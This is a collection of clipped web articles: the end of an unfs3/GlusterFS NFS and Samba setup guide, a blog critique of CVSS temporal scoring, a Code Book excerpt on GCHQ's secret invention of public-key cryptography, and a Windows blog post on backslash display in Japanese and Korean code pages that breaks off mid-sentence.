http://ftp.gluster.com/pub/gluster/glusterfs/misc/unfs3/unfs3-0.9.23gluster1.tar.gz

**Source RPM** :  
http://ftp.gluster.com/pub/gluster/glusterfs/misc/unfs3/unfs3-0.9.23gluster1-1.el5.src.rpm

\[edit\]

### Install

Install the RPM on Red Hat Enterprise Linux:

[code]

    $ rpm -ivh unfs3-0.9.23gluster1-1.el5.rpm
    
    
[/code]

Install using the source tarball:

[code]

    $ tar -xzf unfs3-0.9.23gluster1.tar.gz
    $ cd /unfs3-0.9.23gluster1
    $ ./bootstrap
    $ ./configure
    $ make;make install
    
    
[/code]

Create an exports file to use with the unfs3 server. The syntax for the unfs3
file is similar to the Linux NFS server _/etc/exports_ file, but with fewer
options. \(See unfsd\(8\) for a list of all supported options.\)

In the exports file, each line specifies an exported directory along with the
options that control this export. The following are some common sample unfs3
configuration lines:

[code]

    #Only one client and allow both read-write.
    /exports 192.168.1.201(rw) 
    
    #Do not re-map root UID to anonymous user.
    /data/maildirs 192.168.1.202(rw,no_root_squash)
    
    #Allow clients from "trusted" to mount read-write without root UID squashing.
    #For all others, allow only read-only.
    /home trusted(rw,no_root_squash) (ro)
    
    #Allow machine "weirdo" to mount export directory using default options.
    "/with spaces" weirdo
    
    #Allow one specific client read-write access and allow machines from
    #a subnet read-only access while squashing all UIDs to anonymous user.
    /usr 1.2.3.4(rw) 192.168.2.0/24(ro,all_squash)
    
    #Another way of specifying netmask.
    /home/foo bar(rw) 10.0.0.0/255.0.0.0(root_squash)
    
    #Allow explicit specification of the anonymous UID.
    /home/joe joes_pc(anonuid=1100,anongid=1100,rw,all_squash)
    
    
[/code]

\[edit\]

### Starting the unfs3 Server

Create an exports file in /etc/unfs3exports on the NFS server.

[code]

    /testpath 192.168.0.0/16(rw,no_root_squash)
    
    
[/code]

Start the unfs3 server

[code]

    $ unfsd -e /etc/unfs3exports
    
    
[/code]

\[edit\]

## Add CIFS protocol

CIFS support for GlusterFS can be configured with Samba. Add sections to the
**smb.conf** file so that the path points to directories inside the GlusterFS
mount point. In the following example, **/mnt/gluster** is the mount point:

[code]

    [test2]
      comment = Sample export via SAMBA
      valid users = user3
      printable = no
      writable = yes
      public = no
      path = /mnt/gluster/user3_data
      posix locking = no
    
    
[/code]

\[edit\]

# Next Steps

  

# Musings on Information Security: CVSS - Common Vulnerability Scoring System
- a critique \[ Part1 \]

**Created:**| _3/24/2012 6:43:32 PM_  
---|---  
**Updated:**| _3/24/2012 6:43:32 PM_  
**Author:**| __  
**Tags:**| _statistics risk-management security metrics Metrics_  
  

CVSS - Common Vulnerability Scoring System - a critique \[ Part1 \]

\[Saturday, March 24, 2012  | 0 comments \] 
Ever since I started my career in information security I was both interested
and intrigued by metrics applied to vulnerabilities \(or metrics in general
for that matter\). CVSS is certainly not new and I had to make the choice
whether to use it or not in the past and I always wanted to share some issues
I had with it. This blog post laid dormant in DRAFT state since 8 months and I
decided to publish it in parts rather than wait another year to finish it.

  
This blog series will explain a few elements of CVSS and in particular the
points I feel are unclear, misleading, old or simply unfit for purpose.

  

**This post assumes that you are accustomed to CVSS, if you are not, you may
want to have a look at :http://www.first.org/cvss/cvss-guide.html**  
  

##  **Table of content**

  

  * Introduction to CVSS
  * CVSS Base Group
  * Focus on the Temporal Metric Group
  * Metric scoring \(Temporal\)
  * Critique \(Temporal\)
  * Comment about overall Data Skew 

##  **Introduction**

The goal of this blog series is to take a fresh look at the CVSS, from
different viewpoints and mix use cases into it - we will dive into it's
fitness with regards to the current threat landscape, ideas on how it could be
transformed, changed and/or reused.

  

CVSS is split into three distinct metrics, the base metric \(Raw rating of the
vulnerability\), the temporal metric \(describing the vulnerability lifecycle
- Exploit maturity - Patch maturity\) and the Environmental metric
\(representing the impact of the vulnerability on a specific entity\).

  

<img src='img/Temp2_5508.jpg' width='400' height='352' />

**  
**

We got three metrics resulting in a Overall score. The concept makes sense;
Vulnerability database maintainers \(Bugtraq, Mitre/DHS, Vupen, Secunia..\)
express the base fundamentals of a vulnerability \(CIA triad\) - and the
Enterprise security team adds the temporal and environmental score to it
adjusting the score to **their** particular environment.

  

Imporant to note - strictly speaking, after the introduction of the Temporal
and Environmental metric - **CVSS becomes a metric expressing risk** , trying
to express how much risk a vulnerability poses to a specific entity at a
specific point in time.  
  

###  **The CVSS Base Metric Group**

I'll leave it to the CVSS SIG themselves to explain the purpose and goal "The
purpose of the CVSS base group is to define and communicate the fundamental
characteristics of a vulnerability. This objective approach to characterizing
vulnerabilities provides users with a clear and intuitive representation of a
vulnerability. Users can then invoke the temporal and environmental groups to
provide contextual information that more accurately reflects the risk  _to
their unique environment_. This allows them to make more informed decisions
when trying to mitigate risks posed by the vulnerabilities"

**  
**

**In other words, only the base metric is measuring the vulnerabilities
themselves, the environmental and temporal metrics are pure individual risk
metrics.**

**  
**

###  **Focus on the Temporal Metric Group**

Citing the CVSS documentation "Temporal: represents the characteristics of a
vulnerability that change over time but not among user environments."

  

###  **Exploitability**

<img src='img/Temp2_5510.jpg' width='148' height='200' />We see that
"Exploitability" is rated on  _publicly available information,_ particularly
on the basis of whether poof of concept code or details vulnerability
descriptions exists that eases the exploit of a giving vulnerability.  
  
This makes sense as the effort that has to be put into getting an exploit/flaw
to work is often an indicator as to the immediate threat this flaw poses to an
organisation.

  

However it is not granular enough to not make the distinction as to include
the availability COTS commercial grade exploit kits like Canvas or Core
impact.Obviously these should be key factors to weight in on scoring a
vulnerability in terms of risk.

  

_Possible Values :_ Unproven, Proof of Concept, Functional, High, Not defined

###  
**Remediation Level**

<img src='img/Temp2_5510.jpg' width='148' height='200' />

We see that the Remediation Level is measured by that availability of a Patch
and the maturity of it \(Workaround, temporary fix..etc\)

  

CVSS defines "Remediation Level" as "_The remediation level of a vulnerability
is an important factor for prioritization. The typical vulnerability is
unpatched when initially published. Workarounds or hotfixes may offer interim
remediation until an official patch or upgrade is issued. Each of these
respective stages adjusts the temporal score downwards, reflecting the
decreasing urgency as remediation becomes final._ "

  

Hence choosing "Official Fix" **will reduce the end score** of the
Vulnerability.  
  
Example : If a vulnerability has a base score of 10 \(TEN\) choosing official
fix reduces the score to 8.7 - This solely on the basis that a patch
**_exists_** **.** It does not imply you have actually deployed it.

  

_Possible Values_ : Official Fix, Temporary Fix, Workaround, Unavailable, Not
Defined

  

###  **Report confidence**

"This metric measures the degree of confidence in the existence of the
vulnerability and the credibility of the known technical details"

  

In other words this metric functions as a sort of trust metric, it is not
influenced by the choices you made in the "Exploitability" section.
Theoretically you could have a "Proof of Concept" rating in the
"Exploitability" Report confidence metric and "Unconfirmed" \(Which doesn't
make sense\)

  

_Possible Values_ : Unconfirmed, Uncorroborated, Confirmed, Not defined

  

###  **Metric Score**

Below is a summary of how the temporal score weights into the global score,
and we notice that the overall score **can only be decreased and not
increased**.

  

> TemporalScore =
> round\_to\_1\_decimal\(BaseScore\*Exploitability\*RemediationLevel\*ReportConfidence\)
> Exploitability = case Exploitability of
> **unproven: 0.85**
> **proof-of-concept: 0.9**
> **functional: 0.95**
> high: 1.00
> not defined: 1.00
> RemediationLevel = case RemediationLevel of
> **official-fix: 0.87**
> **temporary-fix: 0.90**
> **workaround: 0.95**
> unavailable: 1.00
> not defined: 1.00
> ReportConfidence = case ReportConfidence of
> **unconfirmed: 0.90**
> **uncorroborated: 0.95**
> confirmed: 1.00
> not defined: 1.00
###  ****

###  **Critique on the Temporal Score**

My comments on the Temporal Score and how it weighs into the global CVSS score
:

###  
**Counter intuitive use of "Exploitability" and "Report Confidence"**

It begs the question whether the two metrics shouldn't have been integrated
into one - let me explain it by a few use cases.  
_Use Case Examples_  

  * As "Exploitability" you choose either "Proof of concept", "Functional" or "High" \(which are 3 out of 4 possibilities of the Exploitability Index\)

  

  * Report confidence = ? 

Isn't the above somehow implicit ? Since proof of concept code exists, isn't
it clear that the report confidence is confirmed by itself ? **The only way
the ReportConfidence metric makes sense to me is the case where
"Exploitability is unproven". **  
  
In this case _theoretically_ at least the "Report Confidence" could weight in
and compensate for the lack of evidence on the "Explotability" index. However
it simply can't . See the Temporal Metric _can only decrease the score and not
increase it_. So it can never actually compensate for the decrease of the
"Exploitability is unproven" index regardless if you are 100% confident about
the report confidence.  
  
To illustrate let's take an example - the decrease from the "Exploitabiliy
unproven" \(\*0.85\) cannot be compensated by "Report Confidence confirmed"
\(\*1.0\).  
  
**So what use has the "Report confidence" index then, if it's goal is not to
compensate for a lack of proof of concept code or other ? **  
  
Furthermore the CVSS score allows for all possible cases of Exploitability and
ReportConfindence ratings, for instance it is possible to have a rating
indicating Exploitability is HIGH but ReportConfidence of Unconfirmed.  
  
This would lead to the situation of a lower score _although_ the vulnerability
is exploitable and it has been proven so by a POC.  

###  
**Unclear use of Remediation Level**

Rating the vulnerability as having an "Official Fix" will **reduce the overall
score of the vulnerability.** I ask myself why that is the case? Why should an
"Official Fix" decrease the rating of a vulnerability ?

  

I personally believe that the reason why lies within who created the CVSS, the
FIRST \(Forum of Incident Response and Security Teams\) has. Indeed if you are
an Incident Response Team**then** it might make a difference whether a
vulnerability has an official patch or not.  
  
In that case you are interested in a temporal rating that reflects your
business purpose \(Handle incidents\) - In situations where limited resources
need to investigate an amount of new vulnerabilities, it's essential in
knowing where to concentrate the efforts in developing Mitigations.  
  
It is not however in managing vulnerabilities in **non incident response**
scenarios. CVSS however seems to have been widely adopted to manage
vulnerabilities in a non incident response scenario - the current rating is
unfit to reflect this. The existence of an official fix should not decrease
the overall rating of a vulnerability if used as basis as example of a
patching policy.

<img src='img/Temp2_5507.jpg' width='400' height='97' />  
---  
CVSS based Patch Policy  
Let me clarify this by a simple example : FIRST encourages to use of mapping
CVSS score to a patching policy that can be based around CVSS scores. The
higher the score the faster the patch cycle. That makes sense, what doesn't
however is that the metric that is supposed to indicate whether a patch exists
\("Remediation Level"\) actually **reduces** the overall score, and thus
directly influencing the patch policy. That shouldn't happen.

###  
Final comment for this part - CVSS Data Skew

The CVSS score distribution below clearly indicates that something is off with
scoring calculations, based on 49654 vulnerabilities only 152 are between 8
and 9. A clear sign something is off and skewing the score in a certain
direction, \(I ignore what and haven't really been looking into it\)  
<img src='img/Temp2_5509.jpg' />  
---  
Source: CVEDETAILS.COM  
  

**Next up : Environmental Metrics / Score Distribution / Introducing Threat
Agent categorisation into CVSS scores**

# The Alternative History of Public-Key Cryptography

**Created:**| _6/26/2012 9:33:30 AM_  
---|---  
**Updated:**| _6/26/2012 9:33:30 AM_  
**Author:**| __  
**Tags:**| _crypto History_  
  

6 October 1999  
Source: _The Code Book_ , by Simon Singh, Doubleday, 1999; pp. 279-92.

See related paper by James Ellis, GCHQ, "The Story of Non-Secret Encryption":
http://jya.com/ellisdoc.htm and http://www.cesg.gov.uk/about/nsecret.htm

See Ross Anderson question of the veracity of the GCHQ/CESG claims made here:
http://cryptome.org/ukpk-true.htm

* * *
##  _The Alternative History of Public-Key Cryptography_

Over the past twenty years, Diffie, Hellman and Merkle have become world
famous as the cryptographers who invented the concept of public-key
cryptography, while Rivest, Shamir and Adleman have been credited with
developing RSA, the most beautiful implementation of public-key cryptography.
However, a recent announcement means that the history books are having to be
rewritten. According to the British Government, public-key cryptography was
originally invented at the Government Communications Headquarters \(GCHQ\) in
Cheltenham, the top-secret establishment that was formed from the remnants of
Bletchley Park after the Second World War. This is a story of remarkable
ingenuity, anonymous heroes and a government cover-up that endured for
decades.

The story starts in the late 1960s, when the British military began to worry
about the problem of key distribution. Looking ahead to the 1970s, senior
military officials imagined a scenario in which miniaturisation of radios and
a reduction in cost meant that every soldier could be in continual radio
contact with his officer. The advantages of widespread communication would be
enormous, but communications would have to be encrypted, and the problem of
distributing keys would be insurmountable. This was an era when the only form
of cryptography was symmetric, so an individual key would have to be securely
transported to every member of the communications network. Any expansion in
communications would eventually be choked by the burden of key distribution.
At the beginning of 1969, the military asked James Ellis, one of Britain's
foremost government cryptographers, to look into ways of coping with the key-
distribution problem.

Ellis was a curious and slightly eccentric character. He proudly boasted of
travelling halfway round the world before he was even born -- he was conceived
in Britain, but was born in Australia. Then, while still a baby, he returned
to London and grew up in the East End of the 1920s. At school his primary
interest was science, and he went on to study physics at Imperial College
before joining the Post Office Research Station at Dollis Hill, where Tommy
Flowers had built Colossus, the first codebreaking computer. The cryptographic
division at Dollis Hill was eventually absorbed into GCHQ and so on 1 April
1965 Ellis moved to Cheltenham to join the newly formed Communications-
Electronics Security Group \(CESG\), a special section of GCHQ devoted to
ensuring the security of British communications. Because he was involved in
issues of national security, Ellis was sworn to secrecy throughout his career.
Although his wife and family knew that he worked at GCHQ they were unaware of
his discoveries and had no idea that he was one the nation's most
distinguished codemakers.

Despite his skills as a codemaker, Ellis was never put in charge of any of the
important GCHQ research groups. He was brilliant, but he was also
unpredictable, introverted and not a natural teamworker. His colleague Richard
Walton recalled:

> He was a rather quirky worker, and he didn't really fit into the day-to-day
> business of GCHQ. But in terms of coming up with new ideas he was quite
> exceptional. You had to sort through some rubbish sometimes, but he was very
> innovative and always willing to challenge the orthodoxy. We would be in
> real trouble if everybody in GCHQ was like him, but we can tolerate a higher
> proportion of such people than most organisations. We put up with a number
> of people like him.
One of Ellis's greatest qualities was his breadth of knowledge. He read any
scientific journal he could get his hands on, and never threw anything away.
For security reasons, GCHQ employees must clear their desks each evening and
place everything in locked cabinets, which meant that Ellis's cabinets were
stuffed full with the most obscure publications imaginable. He gained a
reputation as a cryptoguru, and if other researchers found themselves with
impossible problems, they would knock on his door in the hope that his vast
knowledge and originality would provide a solution. It was probably because of
this reputation that he was asked to examine the key-distribution problem.

The cost of key distribution was already enormous, and would become the
limiting factor to any expansion in encryption. Even a reduction of 10 per
cent in the cost of key distribution would significantly cut the military's
security budget. However, instead of merely nibbling away at the problem,
Ellis immediately looked for a radical and complete solution. 'He would always
approach a problem by asking, "Is this really what we want to do?" ' says
Walton. 'James being James, one of the first things he did was to challenge
the requirement that it was necessary to share secret data, by which I mean
the key. There was no theorem that said you had to have a shared secret. This
was something that was challengeable.'

Ellis began his attack on the problem by searching through his treasure trove
of scientific papers. Many years later, he recorded the moment when he
discovered that key distribution was not an inevitable part of cryptography:

> The event which changed this view was the discovery of a wartime Bell
> Telephone report by an unknown author describing an ingenious idea for
> secure telephone speech. It proposed that the recipient should mask the
> sender's speech by adding noise to the line. He could subtract the noise
> afterwards since he had added it and therefore knew what it was. The obvious
> practical disadvantages of this system prevented it being actually used, but
> it has some interesting characteristics. The difference between this and
> conventional encryption is that in this case the recipient takes part in the
> encryption process . . . So the idea was born.
Noise is the technical term for any signal that impinges on a communication.
Normally it is generated by natural phenomena, and its most irritating feature
is that it is entirely random, which means that removing noise from a message
is very difficult. If a radio system is well designed, then the level of noise
is low and the message is clearly audible, but if the noise level is high and
it swamps the message, there is no way to recover the message. Ellis was
suggesting that the receiver, Alice, deliberately create noise, which she
could measure before adding it to the communication channel that connects her
with Bob. Bob could then send a message to Alice, and if Eve tapped the
communications channel she would be unable to read the message because it
would be swamped in noise. Eve would be unable to disentangle the noise from
the message. The only person who can remove the noise and read the message is
Alice, because she is in the unique position of knowing the exact nature of
the noise, having put it there in the first place. Ellis realised that
security had been achieved without exchanging any key. The key was the noise,
and only Alice needed to know the details of the noise.

In a memorandum, Ellis detailed his thought processes: 'The next question was
the obvious one. Can this be done with ordinary encipherment? Can we produce a
secure encrypted message, readable by the authorised recipient without any
prior secret exchange of the key? This question actually occurred to me in bed
one night, and the proof of the theoretical possibility took only a few
minutes. We had an existence theorem. The unthinkable was actually possible.'
\(An existence theorem shows that a particular concept is possible, but is not
concerned with the details of the concept.\) In other words, until this
moment, searching for a solution to the key-distribution problem was like
looking for a needle in a haystack, with the possibility that the needle might
not even be there. However, thanks to the existence theorem, Ellis now knew
that the needle was in there somewhere.

Ellis's ideas were very similar to those of Diffie, Hellman and Merkle, except
that he was several years ahead of them. However, nobody knew of Ellis's work
because he was an employee of the British Government and therefore sworn to
secrecy. By the end of 1969, Ellis appears to have reached the same impasse
that the Stanford trio would reach in 1975. He had proved to himself that
public-key cryptography \(or non-secret encryption, as he called it\) was
possible, and he had developed the concept of separate public-keys and
private-keys. He also knew that he needed to find a special one-way function,
one that could be reversed if the receiver had access to a piece of special
information. Unfortunately, Ellis was not a mathematician. He experimented
with a few mathematical functions, but he soon realised that he would be
unable to progress any further on his own.

At this point, Ellis revealed his breakthrough to his bosses. Their reactions
are still classified material, but in an interview Richard Walton was prepared
to paraphrase for me the various memoranda that were exchanged. Sitting with
his briefcase on his lap, the lid shielding the papers from my view, he
flicked through the documents:

> I can't show you the papers that I have in here because they still have
> naughty words like TOP SECRET stamped all over them. Essentially, James's
> idea goes to the top man, who farms it out, in the way that top men do, so
> that the experts can have a look at it. They state that what James is saying
> is perfectly true. In other words, they can't write this man off as a crank.
> At the same time they can't think of a way of implementing his idea in
> practice. And so they're impressed by James's ingenuity, but uncertain as to
> how to take advantage of it.
For the next three years, GCHQ's brightest minds struggled to find a one-way
function that satisfied Ellis's requirements, but nothing emerged. Then, in
September 1973, a new mathematician joined the team. Clifford Cocks had
recently graduated from Cambridge University, where he had specialised in
number theory, one of the purest forms of mathematics. When he joined GCHQ he
knew very little about encryption and the shadowy world of military and
diplomatic communication, so he was assigned a mentor, Nick Patterson, who
guided him through his first few weeks at GCHQ.

After about six weeks, Patterson told Cocks about 'a really whacky idea'. He
outlined Ellis's theory for public-key cryptography, and explained that nobody
had yet been able to find a mathematical function that fitted the bill.
Patterson was telling Cocks because this was the most titillating
cryptographic idea around, not because he expected him to try to solve it.
However, as Cocks explains, later that day he set to work: 'There was nothing
particular happening, and so I thought I would think about the idea. Because I
had been working in number theory, it was natural to think about one-way
functions, something you could do but not undo. Prime numbers and factoring
was a natural candidate, and that became my starting point.' Cocks was
beginning to formulate what would be known as the RSA asymmetric cipher.
Rivest, Shamir and Adleman discovered their formula for public-key
cryptography in 1977, but four years earlier the young Cambridge graduate was
going through exactly the same thought processes. Cocks recalls: 'From start
to finish, it took me no more than half an hour. I was quite pleased with
myself. I thought, "Ooh, that's nice. I've been given a problem, and I've
solved it." '

Cocks did not fully appreciate the significance of his discovery. He was
unaware of the fact that GCHQ's brightest minds had been struggling with the
problem for three years, and had no idea that he had made one of the most
important cryptographic breakthroughs of the century. Cocks's naivety may have
been part of the reason for his success, allowing him to attack the problem
with confidence, rather than timidly prodding at it. Cocks told his mentor
about his discovery, and it was Patterson who then reported it to the
management. Cocks was quite diffident and very much still a rookie, whereas
Patterson fully appreciated the context of the problem and was more capable of
addressing the technical questions that would inevitably arise. Soon complete
strangers started approaching Cocks the wonderkid, and began to congratulate
him. One of the strangers was James Ellis, keen to meet the man who had turned
his dream into a reality. Because Cocks still did not understand the enormity
of his achievement the details of this meeting did not make a great impact on
him, and so now, over two decades later, he has no memory of Ellis's reaction.

When Cocks did eventually realise what he had done, it struck him that his
discovery might have disappointed G.H. Hardy, one of the great English
mathematicians of the early part of the century. In his _The Mathematician's
Apology_ , written in 1940, Hardy had proudly stated: 'Real mathematics has no
effects on war. No one has yet discovered any warlike purpose to be served by
the theory of numbers.' Real mathematics means pure mathematics, such as the
number theory that was at the heart of Cocks's work. Cocks proved that Hardy
was wrong. The intricacies of number theory could now be used to help generals
plan their battles in complete secrecy. Because his work had implications for
military communications, Cocks, like Ellis, was forbidden from telling anybody
outside GCHQ about what he had done. Working at a top-secret government
establishment meant that he could tell neither his parents nor his former
colleagues at Cambridge University. The only person he could tell was his
wife, Gill, since she was also employed at GCHQ.

Although Cocks's idea was one of GCHQ's most potent secrets, it suffered from
the problem of being ahead of its time. Cocks had discovered a mathematical
function that permitted public-key cryptography, but there was still the
difficulty of implementing the system. Encryption via public-key cryptography
requires much more computer power than encryption via a symmetric cipher like
DES. In the early 1970s, computers were still relatively primitive and unable
to perform the process of public-key encryption within a reasonable amount of
time. Hence, GCHQ were not in a position to exploit public-key cryptography.
Cocks and Ellis had proved that the apparently impossible was possible, but
nobody could find a way of making the possible practical.

At the beginning of the following year, 1974, Cocks explained his work on
public-key cryptography to Malcolm Williamson, who had recently joined GCHQ as
a cryptographer. The men happened to be old friends. They had both attended
Manchester Grammar School, whose school motto is _Sapere aude_ , 'Dare to be
wise'. While at school in 1968, the two boys had represented Britain at the
Mathematical Olympiad in the Soviet Union. After attending Cambridge
University together, they went their separate ways for a couple of years, but
now they were reunited at GCHQ. They had been exchanging mathematical ideas
since the age of eleven, but Cocks's revelation of public-key cryptography was
the most shocking idea that Williamson had ever heard. 'Cliff explained his
idea to me,' recalls Williamson, 'and I really didn't believe it. I was very
suspicious, because this is a very peculiar thing to be able to do.'

Williamson went away, and began trying to prove that Cocks had made a mistake
and that public-key cryptography did not really exist. He probed the
mathematics, searching for an underlying flaw. Public-key cryptography seemed
too good to be true, and Williamson was so determined to find a mistake that
he took the problem home. GCHQ employees are not supposed to take work home,
because everything the do is classified, and the home environment is
potentially vulnerable to espionage. However, the problem was stuck in
Williamson's brain, so he could not avoid thinking about it. Defying orders,
he carried his work back to his house. He spent five hours trying to find a
flaw. 'Essentially I failed,' says Williamson. 'Instead I came up with another
solution to the problem of key distribution.' Williamson was discovering
Diffie-Hellman-Merkle key exchange, at roughly the same time that Martin
Hellman discovered it. Williamson's initial reaction reflected his cynical
disposition: 'This looks great, I thought to myself. I wonder if I can find a
flaw in this one. I guess I was in a negative mood that day.'

By 1975,James Ellis, Clifford Cocks and Malcolm Williamson had discovered all
the fundamental aspects of public-key cryptography, yet they all had to remain
silent. The three Britons had to sit back and watch as their discoveries were
rediscovered by Diffie, Hellman, Merkle, Rivest, Shamir and Adleman over the
next three years. Curiously, GCHQ discovered RSA before Diffie-Hellman-Merkle
key exchange, whereas in the outside world, Diffie-Hellman-Merkle key exchange
came first. The scientific press reported the breakthroughs at Stanford and
MIT, and the researchers who had been allowed to publish their work in the
scientific journals became famous within the community of cryptographers. A
quick look on the Internet with a search engine turns up 15 web pages
mentioning Clifford Cocks, compared to 1,382 pages that mention Whitfield
Diffie. Cocks's attitude is admirably restrained: 'You don't get involved in
this business for public recognition.' Wllliamson is equally dispassionate:
'My reaction was "Okay, that's just the way it is." Basically, I just got on
with the rest of my life.'

Williamson's only qualm is that GCHQ failed to patent public-key cryptography
When Cocks and Williamson first made their breakthroughs, there was agreement
among GCHQ management that patenting was impossible for two reasons. First,
patenting would mean having to reveal the details of their work, which would
have been incompatible with GCHQ's aims. Second, in the early 1970s it was far
from clear that mathematical algorithms could be patented. When Diffie and
Hellman tried to file for a patent in 1976, however, it was evident that they
could be patented. At this point, Williamson was keen to go public and block
Diffie and Hellman's application, but he was overruled by his senior managers,
who were not farsighted enough to see the digital revolution and the potential
of public-key cryptography. By the early 1980s Williamson's bosses were
beginning to regret their decision, as developments in computers and the
embryonic Internet made it clear that RSA and Diffie-Hellman-Merkle key
exchange would both be enormously successful commercial products. In 1996, RSA
Data Security, Inc., the company responsible for RSA products, was sold for
$200 million.

Although the work at GCHQ was still classified, there was one other
organisation that was aware of the breakthroughs that had been achieved in
Britain. By the early 1980s America's National Security Agency knew about the
work of Ellis, Cocks and Williamson, and it is probably via the NSA that
Whitfield Diffie heard a rumour about the British discoveries. In September
1982, Diffie decided to see if there was any truth in the rumour, and he
travelled with his wife to Cheltenham in order to talk to James Ellis face to
face. They met at a local pub, and very quickly Mary was struck by Ellis's
remarkable character:

> We sat around talking, and I suddenly became aware that this was the most
> wonderful person you could possibly imagine. The breadth of his mathematical
> knowledge is not something I could confidently discuss, but he was a true
> gentleman, immensely modest, a person with great generosity of spirit and
> gentility. When I say gentility, I don't mean old-fashioned and musty. This
> man was a _chevalier_. He was a good man, a truly good man. He was a gentle
> spirit.
Diffie and Ellis discussed various topics, from archaeology to how rats in the
barrel improve the taste of cider, but whenever the conversation drifted
towards cryptography, Ellis gently changed the subject. At the end of Diffie's
visit, as he was ready to drive away, he could no longer resist directly
asking Ellis the question that was really on his mind: 'Tell me about how you
invented public-key cryptography?' There was a long pause. Ellis eventually
whispered: 'Well, I don't know how much I should say. Let me just say that you
people did much more with it than we did.'

Although GCHQ were the first to discover public-key cryptography, this should
not diminish the achievements of the academics who rediscovered it. It was the
academics who were the first to realise the potential of public-key
encryption, and it was they who drove its implementation Furthermore, it is
quite possible that GCHQ would never have revealed their work, thus blocking a
form of encryption that would enable the digital revolution to reach its full
potential. Finally, the discovery by the academics was wholly independent of
GCHQ's discovery, and on an intellectual par with it. The academic environment
is completely isolated from the top-secret domain of classified research, and
academics do not have access to the tools and secret knowledge that may be
hidden in the classified world. On the other hand, government researchers
always have access to the academic literature. One might think of this flow of
information in terms of a one-way function -- information flows freely in one
direction, but it is forbidden to send information in the opposite direction.

When Diffie told Hellman about Ellis, Cocks and Williamson, his attitude was
that the discoveries of the academics should be a footnote in the history of
classified research, and that the discoveries at GCHQ should be a footnote in
the history of academic research. However, at that stage nobody except GCHQ
NSA, Diffie and Hellman knew about the classified research, and so it could
not even be considered as a footnote.

By the mid-1980s, the mood at GCHQ was changing, and the management considered
publicly announcing the work of Ellis, Cocks and Williamson The mathematics of
public-key cryptography was already well established in the public domain, and
there seemed to be no reason to remain secretive. In fact, there would be
distinct benefits if the British revealed their groundbreaking work on public-
key cryptography. As Richard Walton recalls:

> We flirted with the idea of coming clean in 1984. We began to see advantages
> for GCHQ being more publicly acknowledged. It was a time when the government
> security market was expanding beyond the traditional military and diplomatic
> customer, and we needed to capture the confidence of those who did not
> traditionally deal with us. We were in the middle of Thatcherism, and we
> were trying to counter a sort of 'government is bad, private is good' ethos.
> So, we had the intention of publishing a paper, but that idea was scuppered
> by that blighter Peter Wright, who wrote _Spycatcher_. We were just warming
> up senior management to approve this release, when there was all this hoo-ha
> about _Spycatcher_. Then the order of the day was 'heads down, hats on'.
Peter Wright was a retired British intelligence officer, and the publication
of _Spycatcher_ , his memoirs, was a source of great embarrassment to the
British government. It would be another 13 years before GCHQ eventually went
public -- 28 years after Ellis's initial breakthrough. In 1997 Clifford Cocks
completed some important unclassified work on RSA, which would have been of
interest to the wider community, and which would not be a security risk if it
were to be published. As a result, he was asked to present a paper at the
Institute of Mathematics and its Applications Conference to be held in
Cirencester. The room would be full of cryptography experts. A handful of them
would know that Cocks, who would be talking about just one aspect of RSA, was
actually its unsung inventor. There was a risk that somebody might ask an
embarrassing question, such as 'Did you invent RSA?' If such a question arose,
what was Cocks supposed to do? According to GCHQ policy he would have to deny
his role in the development of RSA, thus forcing him to lie about an issue
that was totally innocuous. The situation was clearly ridiculous, and GCHQ
decided that it was time to change its policy. Cocks was given permission to
begin his talk by presenting a brief history of GCHQ's contribution to public-
key cryptography.

On 18 December 1997, Cocks delivered his talk. After almost three decades of
secrecy, Ellis, Cocks and Williamson received the acknowledgement they
deserved. Sadly, James Ellis had died just one month earlier on 25 November
1997, at the age of seventy-three. Ellis joined the list of British cipher
experts whose contributions would never be recognised during their lifetimes.
Charles Babbage's breaking of the Vigenère cipher was never revealed during
his lifetime, because his work was invaluable to British forces in the Crimea.
Instead, credit for the work went to Friedrich Kasiski. Similarly, Alan
Turing's contribution to the war effort was unparalleled, and yet government
secrecy demanded that his work on Enigma could not be revealed.

In 1987, Ellis wrote a classified document that recorded his contribution to
public-key cryptography, which included his thoughts on the secrecy that so
often surrounds cryptographic work:

> Cryptography is a most unusual science. Most professional scientists aim to
> be the first to publish their work, because it is through dissemination that
> the work realises its value. In contrast, the fullest value of cryptography
> is realised by minimising the information available to potential
> adversaries. Thus professional cryptographers normally work in closed
> communities to provide sufficient professional interaction to ensure quality
> while maintaining secrecy from outsiders. Revelation of these secrets is
> normally only sanctioned in the interests of historical accuracy after it
> has been demonstrated that no further benefit can be obtained from continued
> secrecy.
* * *

# When is a backslash not a backslash? - Sorting it all Out - Site Home - MSDN
Blogs

**Created:**| _3/24/2012 6:44:37 PM_  
---|---  
**Updated:**| _3/24/2012 6:44:37 PM_  
**Author:**| __  
**Tags:**| _web-app-sec_  
  

### When is a backslash not a backslash?

<img src='img/Temp2_9436.jpg' /> Michael S. Kaplan

17 Sep 2005 3:01 AM

  * 36

The character in question is U+005c, the REVERSE SOLIDUS, also known as the
backslash or '\'. It is the path separator for Windows, which is encoded at
0x5c across all of the ANSI code pages.

Since path separators are a pretty important requirement, the title of this
post may seem a little scary -- how could it not be a backslash, a reverse
solidus?

Well, on Japanese code page 932, 0x5c is the YEN SIGN, and on Korean code page
949, 0x5c is the WON SIGN.

Which is not to say that 0x5c does not act as a path separator -- it still
does. And which is also not to say that the Unicode code points for the Yen
and the Won \(U+00a5 and U+20a9\) do act as path separators -- because they do
not.

Of course the natual round trip mapping between U+005c and 0x5c happens on all
code pages, and both U+00a5 and U+20a9 have one-way 'best fit' mappings to
0x5c on their respective code pages. This requirement technically went away
with Unicode, when the characters were encoded separately.

However, the issue is not a simple one of there not being space in the old
code page and lots of space in Unicode, where customers will instantly move
away from the not backslash path separators.

In practice, after many years of code page based systems in Japan and Korea
using their respective currency symbols as the path separators, it is believed
customers were simply used to this appearance. And there was therefore little
interest in changing that appearance \(when the system settings were Japanese
or Korean\) to anything but those symbols.

To support this expectation, Japanese and Korean fonts, whenever the default
system locale is set to Japanese or Korean, respectively, will display the
currency symbol rather than the backslash when U+005c is shown.

But whether or not this is really what customers want is still an open
question. Andrew Tuck of PSS here at Microsoft noted:

> _When one of my customer’s from Korea was visiting here, I asked him if it
> bothered him that the backslash doesn’t appear as a backslash. It did bother
> him, and he believes it bothers most of his countrymen. However, he was
> fatalistic about it, "What can we do to change it. It’s been this way for a
> long time. We are used to it."_
Hardly a glowing recommendation, is it?

And as Norman Diamond noted in his comments on this very blog \(in this
post\), there are plenty of people in Japan who may not care for the
convention, either.

Of course there is no 'right' answer here, and I would imagine that you would
find plenty of people who would be unhappy with such a change, just as there
are those who would be unhappy with the status quo. Which perhaps explains why
